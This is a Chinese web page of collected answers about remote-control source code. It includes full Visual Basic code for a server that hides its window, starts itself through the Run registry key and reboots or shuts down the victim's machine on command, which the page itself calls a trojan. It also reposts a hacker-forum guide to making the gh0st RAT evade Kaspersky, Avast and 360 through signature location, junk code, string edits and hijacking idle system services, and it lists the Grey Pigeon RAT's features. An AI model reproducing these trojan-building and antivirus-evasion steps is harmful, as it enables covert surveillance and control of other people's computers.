当前位置:首页 > 代码 > 正文

远程控制软件源代码(远程控制编程)

admin 发布:2022-12-19 09:32 553


今天给各位分享远程控制软件源代码的知识,其中也会对远程控制编程进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

VB远程控制源码

你要求很高啊

远程控制是要被控方的电脑上运行有你的程序,并没有多么神奇,你学下vb网络通信-winsock就可以自己编远程控制的了。

比如说服务器上有这样的功能:如果接收到一个数据比如说"123"时就开始接收一个程序的数据包,接受完后自己解压后运行,至于发过去的程序自然是你想怎样就怎样。这样的程序如果在用户面前明明白白地运行那就叫远程控制,如果不让用户发现那就叫木马。

winsock用法(转载……)

VB winsock控件详解2009-09-29 14:41*属性

-------------------------------------------------------------------------

LocalHostName | 本地机器名

LocalIP | 本地机器IP地址

LocalPort | 本地机器通信程序的端口(0端口65536)

RemoteHost | 远程机器名

RemotePort | 远程机器的通信程序端口

state | 连接的当前状态(文后有详细说明)

Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)

--------------------------------------------------------------------------

*方法

--------------------------------------------------------------------------

Listen

Listen方法用于服务器程序,等待客户访问。

格式:Winsock对象.listen

Connect

Connect方法用于向远程主机发出连接请求

格式:Winsock对象.connect [远程主机IP,远程端口]

Accept

Accept方法用于接受一个连接请求

格式:Winsock对象.accept Request ID

Senddata

此方法用于发送数据

格? Winsock对象.senddata 数据

Getdata

用来取得接收到的数据

格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]

Close

关闭当前连接

格式:Winsock对象.close

*事件

----------------------------------------------------------------------------

Close | 远程机器关闭连接时触发

Connect | 连接建立好,可以进行通信时触发(客户端)

ConnectRequest | 有请求连接到达时产生(服务器端)

DataArrival | 有数据到达时触发

Error | 发生错误时发生

SendProgress | 数据传送进度

-----------------------------------------------------------------------------

程序代码如下:

--》服务器端程序(server.exe)

先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的

属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可

手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”

中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入

"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表

的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.

Private Sub Form_Load()

On Error GoTo skip 如此端口已有通信程序则退出

Winsock1.LocalPort = 1334 端口值应大于1024,如还有冲突可改为其他值

Winsock1.Listen

Exit Sub

skip:

If Err.Number = 10048 Then

MsgBox "端口冲突,退出!", vbOKOnly, "注意!"

End

End If

End Sub

Private Sub Winsock1_Close()

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Listen 关闭连接后继续监听

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Accept requestID 请求到达时,接受连接

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strget As String

Dim ccom As String

Winsock1.GetData strget 读取到达的数据

Select Case strget

Case "a" 判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 不同机器设置不一样

Call Shell(ccom, vbHide) 由函数curr_win()来判断

Case "b" 如为‘b’则关闭计算机

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"

Call Shell(ccom, vbHide) 函数shell来执行命令

Case Else 可以在此加入其他命令

End Select

End Sub

Function curr_win() As String

Dim i As Integer

Dim enstr As String

i = 1 此函数通过读取环境变量来获得Windows目录

enstr = Environ(i)

Do While enstr ""

If Len(enstr) 11 Then

If Left(enstr, 11) = "winbootdir=" Then

curr_win = Right(enstr, Len(enstr) - 11)

Exit Do

End If

End If

i = i + 1

enstr = Environ(i)

Loop

End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal

Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "错误", vbOKOnly, "注意!" 如程序出现错误,则简单的退出

End

End Sub

--》客户端程序(Client.exe)

程序界面如图[control.jpg]

防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:

------------------------------------------------------------------------- -

控件名 | 控件类 | 属性 | 属性值

----------------------------------------------------------------------------

closewin_but | commandbutton | caption | 远程关闭

startwin_but | commandbutton | caption | 远程重启

connect_but | commandbutton | caption | 连接

exit_but | commandbutton | caption | 退出

state_lab | label | borderstyle | 1

-----------------------------------------------------------------------------

代码如下:

Private Sub Form_Load()

Winsock1.LocalPort = 22226 本地端口可任选,只要不冲突且小于65535,用

netstat -an命令可查看当前通信进程

Winsock1.RemoteHost = "127.0.0.1" 调试时此IP将对本机操作,实际应用时可

换上被控方IP

Winsock1.RemotePort = 1334 对应服务器端的localport

state_lab = "未建立连接."

End Sub

Private Sub closewin_but_Click()

If Winsock1.State sckConnected Then

state_lab = "请先建立连接"

Else

Winsock1.SendData "b" 发出关闭命令

End If

End Sub

Private Sub startwin_but_Click()

If Winsock1.State sckConnected Then

state_lab = "请先建立连接"

Else

Winsock1.SendData "a" 发出重启命令

End If

End Sub

Private Sub connect_but_Click()

On Error GoTo skip

If Winsock1.State = sckConnected Then

state_lab = "已建立连接了"

Else

Winsock1.Connect

End If

Exit Sub

skip: 用netstat命令看到状态为Time_wait则

If Err.Number = 10048 Then 须等待一段时间才可连接,也可换另一

端口,可加快连接速度

MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"

End

End If

End Sub

Private Sub exit_but_Click()

Winsock1.Close 关闭连接且退出

End

End Sub

Private Sub Winsock1_Connect()

state_lab = "建立连接成功!可发送命令."

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,

ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "错误", vbOKOnly, "注意!"

End

End Sub

通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。如

文件的下载,可先让客户程序发一命令字串cc:\windows\lzh.pwl,服务器接收到命令字

串后判断出首字母c为下载命令,则将所指定的命令文件c:\windows\lzh.pwl传送给客户

端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如要建立多个连接可通过

在服务器端产生多个Winsock实例来接受请求.

*****测试环境:

Window98,MicroSoft Visual Basic 5.0企业版

附:属性state值

常数 值 描述

sckClosed 0 关闭状态

sckOpen 1 打开状态

sckListening 2 侦听状态

sckConnectionPending 3 连接挂起

sckResolvingHost 4 解析域名

sckHostResolved 5 已识别主机

sckConnecting 6 正在连接

sckConnected 7 已连接

sckClosing 8 同级人员正在关闭连接

sckError 9 错误

求: VB远程(屏幕)控制 源代码 或文档

可在此下载

远程控制VB代码

运行平台 Win9x WinNT Win2000 WinME WinXP

授权形式 免费

软件评级 ★★★

更表日期 2006-7-6 10:36:00

软件大小 113 KB

下载次数 本周:22 总计:561

制作公司 不详

下载地址

软件简介 vb远程控制代码,用了winsock来控制,实现了一些控制,供大家学习

黑客软件点评

易语言怎么编写远程控制啊?像灰鸽子的那种!最好有源代码!

gh0st远控软件采用驱动级RESSDT过主动,svchost参数启动,替换系统服务的方式工作的,工作方式较为先进,美中不足的部分是没有进行驱动级或用户级隐藏,当然这部分可以添加进去。编码利用了VC的编程环境。

一、环境配置

编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,配置部分比较简单,网上有很多资料,这里不再详述,有兴趣的朋友也可以查看DDK和SDK的相关帮助。

二、特征码定位简述

杀毒软件查杀木马的原理基本是根据特征查杀的,被查杀的部分我们称之为特征码,所以我们可以利用特征码定位工具MyCLL定位出病毒的特征码位置,定位工具原理是将被扫描木马分块,利用分段填充的方式,匹配杀软的特征值,找到杀软查杀病毒的位置。

定位出特征码,如何反向找到源码中的对应位置呢?请看下面分析,

三、二进制文件与源码定位之map文件利用

map文件是二进制和源码之间对应的一个映射文件。

我们假设根据第三步我们定位出了病毒的特征码:

病毒名称 特征码位置 内存地址

svchost.dll 000038AA_00000002 100044AA

svchost.dll 00005F98_00000002

第一步设置VC编译环境生成Map文件。

在 VC 中,点击菜单“Project - Settings”选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinfo:lines,表示生成 MAP 文件时,加入行信息。设置完成。

第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。

第三步打开map文件(用UE或文本编辑器打开都行),形式如下:

(begin)

Timestamp is 488fcef2 (Wed Jul 30 10:16:18 2008)

Preferred load address is 10000000

---------------------------------------------------------------------------1----(为方便说明,wrw添加)

Start Length Name Class

0001:00000000 00010a50H .text CODE

0001:00010a50 00000485H .text$x CODE

0002:00000000 000004c8H .idata$5 DATA

......

0003:00000010 00000004H .CRT$XIZ DATA

0003:00000020 00001a50H .data DATA

0003:00001a70 00000688H .bss DATA

0004:00000000 000000a8H .rsrc$01 DATA

0004:000000b0 00000cf0H .rsrc$02 DATA

----------------------------------------------------------------------------2---(为方便说明,wrw添加)

Address Publics by Value Rva+Base Lib:Object

0001:00000000 ??0CAudio@@QAE@XZ 10001000 f Audio.obj

0001:000000d0 ??_GCAudio@@UAEPAXI@Z 100010d0 f i Audio.obj

0001:000000d0 ??_ECAudio@@UAEPAXI@Z 100010d0 f i Audio.obj

0001:000000f0 ??1CAudio@@UAE@XZ 100010f0 f Audio.obj

0001:000001e0 ?getRecordBuffer@CAudio@@QAEPAEPAK@Z 100011e0 f Audio.obj

0001:00000240 ?playBuffer@CAudio@@QAE_NPAEK@Z 10001240 f Audio.obj

0001:000002c0 ?InitializeWaveIn@CAudio@@AAE_NXZ 100012c0 f Audio.obj

......

0001:00003310 ?SendToken@CFileManager@@AAEHE@Z 10004310 f FileManager.obj

0001:00003320 ?UploadToRemote@CFileManager@@AAE_NPAE@Z 10004320 f FileManager.obj

0001:00003440 ?FixedUploadList@CFileManager@@AAE_NPBD@Z 10004440 f FileManager.obj

0001:00003670 ?StopTransfer@CFileManager@@AAEXXZ 10004670 f FileManager.obj

0001:00003730 ?CreateLocalRecvFile@CFileManager@@AAEXPAE@Z 10004730 f FileManager.obj

......

----------------------------------------------------------------------------3---(为方便说明,wrw添加)

Line numbers for .\Release\FileManager.obj(E:\vtmp\gh0st3src\Server\svchost\common\FileManager.cpp) segment .text

17 0001:00002630 20 0001:0000267f 21 0001:00002698 24 0001:000026d0

25 0001:000026f8 26 0001:0000273c 29 0001:000027d0 33 0001:000027ee

77 0001:000027f8 36 0001:000027fb 37 0001:00002803 77 0001:0000280d

......

532 0001:0000340f 534 0001:00003414 537 0001:00003428 540 0001:00003440

546 0001:0000345d 547 0001:00003487 548 0001:00003490 549 0001:00003492

551 0001:0000349e 552 0001:000034b8 553 0001:000034cb 554 0001:000034d4

558 0001:000034de 560 0001:000034e9 563 0001:000034ee 564 0001:00003506

......

(end)

我们看下,定位svchost.dll 的第一个特征码内存地址为:100044AA,在第2块中,我们可以找到RVA+BASE与之很接近的是

0001:00003440 ?FixedUploadList@CFileManager@@AAE_NPBD@Z 10004440 f FileManager.obj

这样我们可以定位到FileManager.cpp中的FixedUploadList函数,是不是范围缩小了?

下面我们再缩小代码行

利用这个公式:特征码行偏移 = 特征码地址(Crash Address)- 基地址(ImageBase Address)- 0x1000

看起来好像很难,其实很简单,我们将100044AA去掉内存基址10000000,再减1000,因为PE很多从1000开始,可以得到代码偏移地址为34AA。到第3块中找对应的代码行。

偏移地址34AA在(551 0001:0000349e 552 0001:000034b8 )中间,也就是551行和552行中间,我们到源程序中查找第551行:

wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);

这样就定位出源代码了,要怎么修改就怎么修改它就可以了。

四、实战免杀

A、卡巴免杀

首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。

第一步、sys免杀

sys重新编译后,增加了输入表的函数,同时系统不同,造成很多地方不同于原特征,顺利通过卡巴、金山、小红伞等杀软。

第二步、svchost.dll免杀

特征码定位MultiByteToWideChar和"gh0st update"两个位置。这里是通过第3步map文件得出的。

卡巴怕加花指令, 这个函数MultiByteToWideChar的调用上,可以在这个函数前面随便加几句无效语句就可以通过卡巴杀软。

字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同时可以过金山杀软。

第三步、server免杀

卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。

卡巴免杀完成!

B、Avast免杀

最新的avast杀软再查杀1下,杀install.exe和svchost.dll(也就是杀生成的文件和其中的资源文件),接着做它的源码免杀。

定位在特征字符串%02d/%02d/%02d和“SYSTEM\CurrentControlSet\Services\%s”两个地方。

解决方案:

1、svchost.dll的特征码定位在键盘记录KeyboardManager.cpp文件中的SaveInfo(char *lpBuffer)函数。特征字符串%02d/%02d/%02d,也就是我们看到键盘记录的日期,修改之,修改的方法很多,将其改为[%d/%d/%d %d:%d:%d] ,编译即可通过avast杀软。

2、install的特征码定位在“SYSTEM\CurrentControlSet\Services\%s”,对应文件是install.cpp里的InstallService函数,修改大小写,编译即可通过免杀。

五、添加垃圾代码的小方法

垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。

添加输出表的方法:

有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:

extern "C" __declspec(dllexport) bool JustTempFun();//声明

……

extern "C" __declspec(dllexport) bool JustTempFun() //实现

{

return false;

}

编译后,输出表就被改变了,有的杀软就可做到代码免杀。

六、gh0st自动生成6to4ex.dll的修改

看到好多站友提问自动生成6to4ex.dll的问题,有热心站友也提出了自己的见解 ,我感觉有些人提出的解决方案不完全正确,有可能造成刚入手人误解,我根据自己的理解说明1下。

gh0st服务端是通svchost -netsvcs启动的,所以程序要利用netsvcs 服务,服务端也就是根据netsvcs生成的,故不能说服务端生成是随机的,相对于大多数系统来讲,基本是固定的,下面看分析。

查看install.cpp里面的InstallService()方法,首先遍历HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Svchost中的服务项,查找到一个服务后,程序采取替换服务的方法,将原服务删除,然后生成对应服务项+ ex.dll的文件替换原服务,6to4服务一般排在第一位,6to4服务是一种自动构造隧道的方式,作用在于只需要一个全球惟一的IPv4地址便可使得整个站点获得IPv6 的连接,这个服务对一般人来讲,基本闲置,所以我们的程序就把6to4服务给替换掉,同时在windows\system32\目录下生成 6to4ex.dll,以后启动就是6to4ex了,如果把这个服务跳过去,就依次向下生成Ias、Iprip等服务啦,如果netsvcs项没有可以替换的服务,则程序将自己添加1个服务,名称就是由 AddsvchostService()方法产生的netsvcs_0x%d。

这样说不知道关心服务名称的明白了不?

这个不能说是技术问题,但是小技巧问题可以从这里产生,我不知道其他人的360是怎么过的,但是我觉得可以提示1下的是,如果是360默认系统安全的服务,它肯定不会报不安全,替换闲置的系统安全的服务则通过360的效果要好的多

本文来自: 华夏黑客同盟论坛 本文详细地址:

远程控制Delphi源代码

灰鸽子VIP1.2的源代码

灰鸽子是一个远程控制类软件,主要功能有:

1.文件管理:模枋 Windows 资源管理器,可以对文件进行:复制、粘贴、删除,重命名、远程运行等,可以上传下载文件或文件夹,操作简单易用。

2.远程控制命令:查看远程系统信息、剪切板查看、进程管理、窗口管理、外设控制、服务管理、共享管理、代理服务、MS-Dos模拟、其它控制!

3.捕获屏幕:不但可以连继的捕获远程电脑屏幕,还能把本地的鼠标及键盘传动作送到远程实现实时控制功能!

4.注册表模拟器:远程注册表操作就像操作本地注册表一样方便!

5.远程通讯:除普通的文字聊天以外,还有语音聊天的功能(双方ADSL上网情况下语音良好)!

6.代理服务:可以让服务端开放Socks5代理服务器功能,还可以让服务端开放FTP功能!

7.命令广播:可以对自动上线主机进行命令播,如关机、重启、打开网页等,点一个按钮就可以让N台机器同时关机或其它操作!

关于远程控制软件源代码和远程控制编程的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;

本文地址:http://ahzz.com.cn/post/6023.html


取消回复欢迎 发表评论:

分享到

温馨提示

下载成功了么?或者链接失效了?

联系我们反馈

立即下载